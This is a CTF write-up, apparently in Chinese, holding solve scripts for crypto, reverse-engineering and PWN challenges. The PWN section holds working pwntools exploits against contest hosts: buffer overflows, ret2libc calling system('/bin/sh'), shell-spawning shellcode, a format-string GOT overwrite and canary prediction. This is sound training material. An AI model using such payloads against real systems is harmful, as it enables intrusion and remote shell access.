c2 = 353128571201645377052005694809874806643786163076931670184196149901625274899734977100920488129375537186771931435883114557320913415191396857882995726660784707377672210953334914418470453787964899846194872721616628198368241044602144880543115393715025896206210152190007408112767478800650578941849344868081146624444817544806046188600685873402369145450593575618922226415069043442295774369567389939040265656574664538667552522329712111984168798829635080641332045614585247317991581514218486004191829362787750803153463482021229058714990823658655863245025037102127138472397462755776598314247771125981017814912049441827643898478473451005083533693951329544115861795587564408860828213753948427321483082041546722974666875065831843384005041800692983406353922680299538080900818930589336142421748023025830846906503542594380663429947801329079870530727382679634952272644949425079242992486832995962516376820051495641486546631849426876810933393153871774796182078367277299340503872124124714036499367887886486264658590613431293656417255355575602576047502506125375605713228912611320198066713358654181533335650785578352716562937038768171269136647529849805172492594142026261051266577821582011917001752590659862613307646536049830151262848916867223615064832279222



q = math.gcd(n, pow(c1, e2, n)*pow(5,e1*e2,n) - pow(c2, e1, n)*pow(2,e1*e2,n))
p = n // q



phi = (p-1)*(q-1)
d = inverse(e,phi)
m = pow(c,d,n)
print(bytes.fromhex(format(m,'x')).decode('utf-8'))

simple3DES

image-20231121214639088

利用此脚本去解密key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import hashlib
import random
import re
import string
from itertools import product

def pass_POW():
rec = ('sha256(XXXX+6jbxZ9rzMp1TUoW8) == 026a6ac88c581d27a747a97a1be9eda6c3fb9809f8f63f26231965942df0d382')
table = string.ascii_letters + string.digits
suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]
last_hash = re.findall(r'== (.*?)$', rec)[0]
print("suffix: %s, last_hash: %s" % (suffix, last_hash))
for i in product(table, repeat=4):
prefix = ''.join(i)
guess = prefix + suffix
if hashlib.sha256(guess.encode()).hexdigest() == last_hash:
print("prefix XXXX is %s" % prefix)
return prefix
return None

pass_POW()

得到一串信息后解密

1
2
enc =37699681561444816228091816433931698303804192466855953956737310357621942568417
print(long_to_bytes(enc))

Just need one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import os
import random
import string
import hashlib

flag = os.environ.get("FLAG", b"SYC{Al3XEI_FAKE_FLAG}")
DEBUG = False
banner = '|' * 70

if DEBUG:
print("==DEBUG MODE==")

def proof_of_work():
if DEBUG:
return True
proof = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(20)])
digest = hashlib.sha256(proof.encode()).hexdigest()
print("sha256(XXXX+%s) == %s" % (proof[4:], digest))
x = input("Give me XXXX: ")
if len(x) != 4 or hashlib.sha256((x + proof[4:]).encode()).hexdigest() != digest:
return False
print("Right!")
return True

try:
if not proof_of_work():
exit()
print(banner)
parms = [random.getrandbits(32) for _ in range(128)]
res = int(input('Give me x calculating f(x) :\n> '))
if res >= 2**32:
print("Give me something smaller.\n")
print(banner + '\n')
exit()
cnt = 0
for _ in range(128):
cnt += pow(res, _) * parms[_]
print(cnt)
ans = input('Give me Coefficients :\n> ')
ans = [int(_) for _ in ans.split(",")]
if ans == parms:
print('Congrats! Your flag is:', flag)
else:
exit()
except Exception:
print("Something goes wrong...\n")
print(banner + '\n')
exit()


此题也是交互密码题

交互给的sha值利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import hashlib
import random
import re
import string
from itertools import product

def pass_POW():
rec = ('sha256(XXXX+6jbxZ9rzMp1TUoW8) == 026a6ac88c581d27a747a97a1be9eda6c3fb9809f8f63f26231965942df0d382')
table = string.ascii_letters + string.digits
suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]
last_hash = re.findall(r'== (.*?)$', rec)[0]
print("suffix: %s, last_hash: %s" % (suffix, last_hash))
for i in product(table, repeat=4):
prefix = ''.join(i)
guess = prefix + suffix
if hashlib.sha256(guess.encode()).hexdigest() == last_hash:
print("prefix XXXX is %s" % prefix)
return prefix
return None

pass_POW()

解密得到key

利用此脚本解密

1
2
3
4
5
6
7
8
9
10
c =644522675230551262962022805768743265557019728140215291560564896455789785027354340279127028270494198380551130333367982815989197783653401978718658433402972196681050880997841091239243298490206434440117432980290901778015567625930655161637391526793878989920983328476994356558910883470854961010339581875735946629131371136720940307084672501904639624533300732568957494002678375700933103376639461830184345242304406582425735084208660837622397087197730533273852878571680347110026278724032051439773223800566350784833673774438190734830141896892611264527053612823150522829202675945464347138478749891903814340894156535275730936156334634880669754997314327596949305302289963762294093239779320345742897879305937991893053676866202849607896739850552852988835565759851036370392052617441023673620481748210326311494647958709311077869956621887611720734437202890307100236699201535170189472382821413976442631241253444802116257271703117515521011962567970525756819489643850875375293590937175116998158211491039576427639833034248091589695914808211871454649736905879777643205986089256748706135021623975939191781342373180943898758727225799153260719390761599071590757375092246926995661497994837417927599055189462852774345418789277033022845432942056431198704948990350
y = 4294967295
coefficients = [0] * 128
for i in range(127, -1, -1):
coefficients[i] = c // (y**i)
c -= coefficients[i] * (y**i)
b = []
for i, coef in enumerate(coefficients):
b.append(coef)
print(b)

得道

1
2900802075, 3274763365, 1487626029, 3944483700, 2453856385, 4275048350, 3000054422, 803893057, 202989933, 1031693047, 2885494615, 111699238, 2421634007, 1481231116, 1471987977, 2169011154, 3224879067, 3503937782, 3170285719, 1824420987, 2648998316, 2346048075, 4125248886, 3531962209, 3069060650, 1788558729, 744442457, 1927768247, 2924384976, 281242657, 155461329, 4090788269, 2075379294, 3583237675, 1292792779, 3770229100, 3638984513, 3204292316, 645572615, 3196239310, 970004776, 453330341, 19768023, 1076047093, 2420041765, 2167385489, 3474609821, 4131070575, 2821573887, 2426812584, 80850134, 672346587, 4056611944, 1785094765, 2904170297, 1047663524, 4066122783, 1322316889, 3717916624, 1001017683, 3115229605, 1928183183, 3133561966, 44907196, 569665181, 853212441, 2706848757, 623306223, 1400782811, 2944067181, 2014775357, 3732046136, 4021003187, 215658089, 484553252, 2631816176, 1368213632, 2888633227, 351686449, 681497068, 2386826433, 2061076045, 1237006320, 1999487165, 878098470, 299581924, 3331215883, 692801479, 819377789, 720274491, 2945109249, 3126717639, 470516714, 382463961, 980214982, 2648166947, 853223170, 3411907602, 569047800, 2246904287, 3833297442, 292019794, 3986825899, 1817971576, 2996579025, 3913738396, 602680547, 2371245644, 1246374397, 2778695854, 2528336405, 2983239037, 2754510251, 2890258118, 786081292, 2290427574, 3440926708, 4283006159, 2695511986, 3259851436, 2537718972, 350147694, 415970295, 926240098, 3188940150, 2414349049, 3256809682, 2650548988

image-20231122090732539

Fi1nd_th3_x’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import *
import gmpy2
from functools import reduce
p= 13014610351521460822156239705430709078128228907778181478242620569429327799535062679140131416771915929573454741755415612880788196172134695027201422226050343
q= 12772373441651008681294250861077909144300908972709561019514945881228862913558543752401850710742410181542277593157992764354184262443612041344749961361188667
r= 12128188838358065666687296689425460086282352520167544115899775800918383085863282204525519245937988837403739683061218279585168168892037039644924073220678419
dp= 116715737414908163105708802733763596338775040866822719131764691930369001776551671725363881836568414327815420649861207859100479999650414099346914809923964116101517432576562641857767638396325944526867458624878906968552835814078216316470330511385701105459053294771612727181278955929391807414985165924450505855941
dq= 44209639124029393930247375993629669338749966042856653556428540234515804939791650065905841618344611216577807325504984178760405516121845853248373571704473449826683120387747977520655432396578361308033763778324817416507993263234206797363191089863381905902638111246229641698709383653501799974217118168526572365797
dr= 60735172709413093730902464873458655487237612458970735840670987186877666190533417038325630420791294593669609785154204677845781980482700493870590706892523016041087206844082222225206703139282240453277802870868459288354322845410191061009582969848870045522383447751431300627611762289800656277924903605593069856921
c= 93063188325241977486352111369210103514669725591157371105152980481620575818945846725056329712195176948376321676112726029400835578531311113991944495646259750817465291340479809938094295621728828133981781064352306623727112813796314947081857025012662546178066873083689559924412320123824601550896063037191589471066773464829226873338699012924080583389032903142107586722373131642720522453842444615499672193051587154108368643495983197891525747653618742702589711752256009

def union(x1, x2):
a1, m1 = x1
a2, m2 = x2
d = gmpy2.gcd(m1, m2)
assert (a2 - a1) % d == 0
p1,p2 = m1 // d,m2 // d
_,l1,l2 = gmpy2.gcdext(p1,p2)
k = -((a1 - a2) // d) * l1
lcm = gmpy2.lcm(m1,m2)
ans = (a1 + k * m1) % lcm
return ans,lcm


def excrt(ai,mi):
tmp = zip(ai,mi)
return reduce(union, tmp)

mi = [(q - 1) * (r - 1),(p - 1) * (r - 1),(p - 1) * (q - 1)]
ai = [dp,dq,dr]
d,lcm = excrt(ai,mi)
n = p * q * r
m = pow(c,d,n)
print(long_to_bytes(m))

JPGDiff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from hilbertcurve.hilbertcurve import HilbertCurve

hilbert_curve = HilbertCurve(16, 2)
distances = list(range(2**16))
points = hilbert_curve.points_from_distances(distances)
keys = {}
for point, dist in zip(points, distances):
keys[dist] = point


from PIL import Image
ct = Image.open('ct.png')
new_img = Image.new('RGB',(256,256))
for i in range(2**16):
new_img.putpixel((keys[i][0],keys[i][1]),ct.getpixel((0,i)))

new_img.show()

card_game

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import * 
context.log_level=('debug')
p = remote('59.110.20.54','4953')
p.sendlineafter(b'input your option:',b'1')
results = []
p.recvuntil(b'gift:')

([results.append(i) for i in eval(p.recvline().decode())])
p.recvuntil(b'gift:')

([results.append(i) for i in eval(p.recvline().decode())])
# print(results)
from functools import reduce
from gmpy2 import invert,gcd
from Crypto.Util.number import long_to_bytes

def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
seed = (invert(multiplier,modulus)*(states[0]-increment))%modulus
return crack_unknown_seed(modulus, multiplier, increment, states[5])

def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)

def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)
seedss = []
def crack_unknown_seed(modulus, multiplier, increment, states6):
# return (invert(multiplier,modulus)*(states0-increment))%modulus
# return modulus
# print(modulus, multiplier, increment, states0)
for i in range(200):
states6 = (states6*multiplier+increment)%modulus
# print(states6)
seedss.append(int(states6))


# seed = crack_unknown_modulus(results)
crack_unknown_modulus(results)
# seeds=seeds
# print(seeds)
from cards import Heart, Spade, Club, Diamond


def choose_card(num):
x = (num>>5)%4
if x == 0:
return 'Heart_'+(Heart[(num>>6)%13][15])
if x%4 == 1:
return 'Spade_'+(Spade[(num>>6)%13][15])
if x%4 == 2:
return 'Diamond_'+(Diamond[(num>>6)%13][15])
else:
return 'Club_'+(Club[(num>>6)%13][15])

# print(choose_card(8201295581))
# print(choose_card(14611777429))
# print(choose_card(30192140233))

tmp = ""
for i,v in enumerate(seedss):
# print(choose_card(v),end=' ')
tmp += choose_card(v)+" "
if i%3==2:
p.sendlineafter(b'(example: Heart_1 Club_2 Diamond_3)\n',tmp[:-1])
tmp = ""

PWN

nc_pwntools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

r = remote('pwn.node.game.sycsec.com',30573)

s = b'\x53\x79\x63\x6c\x6f\x76\x65\x72'
pl = b'a'*(100-len(s)) + s
r.sendline(pl)

print(r.recvuntil(b'2.This challenge is harder than first one\n'))
equ = r.recvline()[:-3]
result = eval(equ)

r.sendline(str(result))
print(r.recv())
print(r.recv())

r.interactive()
r.sendline('')

password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
res = b'Wrong'
while b'Wrong' in res:
io = remote('pwn.node.game.sycsec.com',30726)
# io = process('./password')
io.sendafter(b'name:\n',b'a'*(0x28) + p64(0x04012F3))
io.recvuntil(b'please enter password:\n')
io.sendline(b'\x00')
# sleep(0.1)
res = io.recvline()
sleep(0.1)
if b'Correct' in res:
io.interactive()

ret2text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

context.log_level = 'debug'
r = process('./ret2text')

# r = remote('pwn.node.game.sycsec.com',30691)

def debug():
gdb.attach(r)
pause()
elf = ELF('ret2text')
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
lic = lambda data :uu64(ru(data)[-6:])
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'Y'*(lenth % 5)
it = lambda :r.interactive()

pad = p64(0)*9 + p64(1)
backdoor = b'\x27\x52'

pl1 = pad + p64(0) + backdoor
se(pl1)

r.interactive()

write1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

r = gdb.debug('./chal')
# r = remote('pwn.node.game.sycsec.com',30157)

se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
lic = lambda data :uu64(ru(data)[-6:])
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'Y'*(lenth % 5)
it = lambda :r.interactive()

################
# s

# 41

# -01
# 13 -> 12

# 40

# -28
# 4d ->25

# -1
################
def payload():
sl('s')
sl('41')
sl('-1')
sl('40')
sl('-28')
sl('-1')

payload()
it()

ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from LibcSearcher import*
from pwn import *

context(arch='amd64',os='linux',log_level='debug')

r = remote('pwn.node.game.sycsec.com',30680)

# r = gdb.debug('./chal')
# r = process('./chal')
elf = ELF('./chal')


se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
lic = lambda data :uu64(ru(data)[-6:])
pack = lambda str, addr :p32(addr)
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'Y'*(lenth % 5)
it = lambda :r.interactive()


rdi_ret =0x0000000000401333
rsi_r15_ret =0x0000000000401331
ret = 0x000000000040101a
write_got=elf.got['write']
write_plt=elf.plt['write']

ru(b'try this\n')
ru(b'This challenge no backdoor!')

gadget_1 = 0x40132A
gadget_2 = 0x401310

payload = b'\0'*(0x18)
payload += p64(gadget_1)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(1) # r12
payload += p64(write_got) # r13
payload += p64(8) # r14
payload += p64(write_got) # r15
payload += p64(gadget_2)
payload += b'\0'*(0x8+8*6)
payload += p64(0x04010D0)
r.sendline(payload)



write = lic(b'\x7f')
print(hex(write))
libc = LibcSearcher('write',write)
base = write - libc.dump('write')
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')

payload2 = b'\0'*(0x18)+p64(ret)+p64(rdi_ret)+p64(binsh)+p64(system)
sl(payload2)
it()

ezpwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# from LibcSearcher import*
from pwn import *
# from ctypes import *
context(arch='amd64',os='linux',log_level='debug')

# r = remote("pwn.node.game.sycsec.com",31041)

# r = gdb.debug('./pwn')
r = process('pwn')
# libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('/home/h711/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
elf = ELF('pwn')
# ld-linux-x86-64.so.2
# srand = libc.srand(libc.time(0)) #设置种子

se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
lic = lambda data :uu64(ru(data)[-6:])
pack = lambda str, addr :p32(addr)
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
it = lambda :r.interactive()


shellcode = asm('''
xor rax,rax
mov dx,0x100
syscall
''')
print(len(shellcode))
paylaod =b'/bin/sh\x00' + shellcode
print(len(paylaod))
se(paylaod)
# gdb.attach(r)
shellcode = b'\x90'*9+asm(shellcraft.sh())
# pause()
se(shellcode)
# pause()
it()

write2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from LibcSearcher import*
from pwn import *
# from ctypes import *
context(arch='amd64',os='linux',log_level='debug')

r = remote('pwn.node.game.sycsec.com',30069)

# r = gdb.debug('./chal')
# r = process('./chal')
elf = ELF('./chal')
# ld-linux-x86-64.so.2
# srand = libc.srand(libc.time(0)) #设置种子

se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
lic = lambda data :uu64(ru(data)[-6:])
pack = lambda str, addr :p32(addr)
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
it = lambda :r.interactive()


index_addr = int(str(rl())[15:-3],16) + 0x4
index_addr = hex(index_addr)
print(index_addr)
print(len(str(index_addr)))

shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

sl(shellcode)

sla(b'index:\n',b'40')

sl(hex(int(index_addr[-2:],16)))

sla(b'index:\n',b'41')

sl(hex(int(index_addr[-4:-2],16)))

sla(b'index:\n',b'42')

sl(hex(int(index_addr[-6:-4],16)))

sla(b'index:\n','43')

sl(hex(int(index_addr[-8:-6],16)))

sla(b'index:\n',b'44')

sl(hex(int(index_addr[-10:-8],16)))

sla(b'index:\n',b'45')

sl(hex(int(index_addr[-12:-10],16)))

sla(b'index:\n',b'-1')

it()

fmt1.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from LibcSearcher import*
from pwn import *
# from ctypes import *
context(arch='amd64',os='linux',log_level='debug')

r = remote('pwn.node.game.sycsec.com',31898)

# r = gdb.debug('./fmt1.0')
# r = process('./fmt1.0')
elf = ELF('./fmt1.0')
# ld-linux-x86-64.so.2
# srand = libc.srand(libc.time(0)) #设置种子

se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
lic = lambda data :uu64(ru(data)[-6:])
pack = lambda str, addr :p32(addr)
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
it = lambda :r.interactive()
ret_addr = 0x401257

print_got = elf.got['printf']
execve = elf.plt['execve']
payload= (fmtstr_payload(6,{0x404020:0x4010D0})).ljust(0x58,b'\x00')+p64(ret_addr)
r.send(payload)
payload =b'/bin/sh\x00'
r.send(payload)
r.interactive()

white_canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from LibcSearcher import*
from pwn import *
from ctypes import *
context(arch='amd64',os='linux',log_level='debug')

elf = ELF('./chal')
# ld-linux-x86-64.so.2
# srand = libc.srand(libc.time(0)) #设置种子
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
lic = lambda data :uu64(ru(data)[-6:])
pack = lambda str, addr :p32(addr)
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
it = lambda :r.interactive()
ret_addr = 0x401257
while True:
seed = libc.time(0) % 60
v1 = libc.srand(seed)
v2 = libc.rand()
v3 = libc.rand()
canary_pre =(((v2 >> 4) ^ (16 * v3 + (v3 >> 8) * (v2 << 8))) >> 32)+ ((((v2 >> 48) + (v2 << 16) * (v3 >> 16)) ^ (v3 << 48)) << 32)
canary = int(str(hex(canary_pre))[14:30],16)
print(hex(canary))
# r = process('./chal')
# gdb.attach(r)
r = remote('pwn.node.game.sycsec.com',31883)
payload = asm(shellcraft.open('./flag'))
payload += asm(shellcraft.read('rax',0x4040E0,0x50))
payload += asm(shellcraft.write(1,0x4040E0,0x50))
se(payload)
payload = b'a'*0x8+p64(canary)+b'a'*0x8+p64(0x4040E0)
sea(b'tell me something:\n',payload)
res = r.recvall()
sleep(1)
if b'stack' in res:
continue
else:
it()
break

Re

点击就送的逆向题

[c语言编译过程及工程下的.c文件.h文件.o文件.so文件.a文件 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/371323950#:~:text=用法:gcc –S hello.i –o,hello.s 作用:将预处理输出文件hello.i汇编成hello.s文件。 3)

gcc -E hello.c -o hello.i

gcc –S hello.i –o hello.s

gcc –c hello.s –o hello.o

gcc hello.o –o hello

1
2
3
4
a="Z`J[X^LMNO`PPJPVQRSIUTJ]IMNOZKMM"
a=list(a)
for i in range(len(a)):
print(chr(ord(a[i])-7),end='')

幸运数字

1
2
3
4
5
6
7
8
9
10
11
a = [    0x0D, 0x07, 0x1D, 0x25, 0x1D, 0x6E, 0x30, 0x39, 0x2C, 0x3F,
0x2A, 0x2B, 0x32, 0x3F, 0x2A, 0x37, 0x6E, 0x30, 0x30, 0x30,
0x30, 0x2D, 0x01, 0x07, 0x31, 0x2B, 0x01, 0x39, 0x1F, 0x3B,
0x2D, 0x2D, 0x1B, 0x3A, 0x01, 0x0C, 0x6F, 0x39, 0x36, 0x2A,
0x23]


# print(0x07 ^ 94)

for i in range(len(a)):
print(chr(a[i]^94),end='')

shiftjmp

去花,还原

1
2
3
4
5
6
7
8
9
10
a = [  0x53, 0x58, 0x41, 0x78, 0x53, 0x36, 0x6A, 0x64, 0x38, 0x64,
0x6F, 0x54, 0x78, 0x42, 0x51, 0x7B, 0x78, 0x22, 0x4D, 0x61,
0x27, 0x63, 0x73, 0x45, 0x2D, 0x7C, 0x45, 0x6C, 0x2C, 0x6F,
0x2F, 0x7B, 0x5E, 0x5C]


for i in range(34):
print(chr(a[i]^i),end='')


砍树

1
2
3
4
5
6
7
8
9
10
11
12
13
14
enc =[
0x00, 0x20, 0x20, 0x17, 0x1B, 0x36, 0x0E, 0x36, 0x26, 0x17,
0x04, 0x2A, 0x29, 0x07, 0x26, 0x15, 0x52, 0x33, 0x2D, 0x0F,
0x3A, 0x27, 0x11, 0x06, 0x33, 0x07, 0x46, 0x17, 0x3D, 0x0A,
0x3C, 0x38, 0x2E, 0x22, 0x18
]

key = "Sycloverforerver"

for i in range(len(enc)):
enc[i]=enc[i]^ord(key[i%len(key)])
print(chr(int(enc[i])),end='')

# print(0x1B^ord('{'))

听说cpp很难?

1
2
3
4
5
6
7
a=[77, 95, 61, 55, 104, 115, 87, 39, 104, 81, 89, 127, 38, 107, 89, 115, 87, 85, 91, 89, 111, 106, 89, 39, 87, 114, 87, 79, 87, 120, 120]

for i in range(len(a)):
a[i]=((a[i]+10)^10)-10
print(chr(a[i]),end='')

# print((71^ 10)-10)

rainbow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ida_chars =[
0x65, 0x58, 0x41, 0x8E, 0x50, 0x44, 0x7B, 0x62, 0x57, 0x4A,
0x7E, 0x54, 0x49, 0x6C, 0x7D, 0x84, 0x4F, 0x5B, 0x95, 0x60,
0x60, 0x64, 0x77, 0x48, 0x7D, 0x4D, 0x7B, 0x9F, 0x68, 0x3C,
0x2D, 0x62
]

for i in range(len(ida_chars)):
ida_chars[i]^=i
# print(chr(ida_chars[i]),end='')
# q=1
for i in range(len(ida_chars)):
if(i%3==0):
ida_chars[i]-=18
print(chr(ida_chars[i]),end='')

小黄鸭

直接爆破,有个坑点原题目中

if chr(ord(a[1])) != ‘s’ or ord(a[2]) != 109 or chr(ord(a[17])) != ‘C’:

意思其实就是告诉我们倒数第三个数是m,服了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include<stdio.h>
#include<string.h>

int main()
{
char a[] = { 'H', 'N', 'R', '|', '2', '`', 'w', '1', 'e', 't', '`', 'n', 'D', 'j', '`', 'R', 'w', 'P', 'h', 't', '`', 'N', 'd', 'J', 'g', '`', 's', 'g', '4', 'p', '|', 'h', '~' };
int i, j, k;
for(i=0;i< 33;i++)
for (k = 32; k < 127; k++)
{
j = k;
if (j >= 'a' && j <= 'z')
{
j += 13;
if (j <= 'a' || j >= 'z')
j -= 26;
j += 2;
}
else
{
if (j >= 'A' && j <= 'Z')
{
j += 13;
if (j <= 'A' || j >= 'Z')
j -= 26;
j += 2;
}
else
{
j += 1;
}

}
if (j == a[i])
{
printf("%c", k);
}
}
return 0;
}

flower-or-tea

TEA系列加密解密 | Gruge’s Blog (g2uge.github.io)

第一次真正的接触tea加密,了解了tea,xtea和xxtea加密的特征

这个题的坑点一是,他的数据接收是从前从后往中间聚集,其实这个无所谓,直接解出flag后面自己改就好了

坑点二,这是一个xtea,他修改了常量和循环次数,其实这俩也是套脚本稍微一改就可以了

坑点三,原加密函数,中(*(key + 4 * ((sum >> 11) & 3)),中的4其实是混淆用的,因为他是取的地址,所以我们可以使用这个代替

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl tea(unsigned int a1, unsigned int *enc, int key)
{
int result; // eax
unsigned int i; // [esp+8h] [ebp-10h]
unsigned int v1; // [esp+Ch] [ebp-Ch]
unsigned int v0; // [esp+10h] [ebp-8h]
unsigned int sum; // [esp+14h] [ebp-4h]

v0 = *enc;
v1 = enc[1];
sum = 0;
for ( i = 0; i < a1; ++i )
{
v1 += sum ^ (*(key + 4 * ((sum >> 11) & 3)) + sum) ^ (v0 + ((v0 >> 5) ^ (16 * v0)));
v0 += (*(key + 4 * (sum & 3)) + sum) ^ (v1 + ((v1 >> 5) ^ (16 * v1)));
sum += 0x31415927;
}
*enc = v0;
result = 4;
enc[1] = v1;
return result;
}
1
2
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ ((sum + key[ ((sum >> 11) & 3)])^sum);
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[(sum & 3)]);

坑点四,解密代码记得按照逻辑把代码都取反

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <stdint.h>

/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */

void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
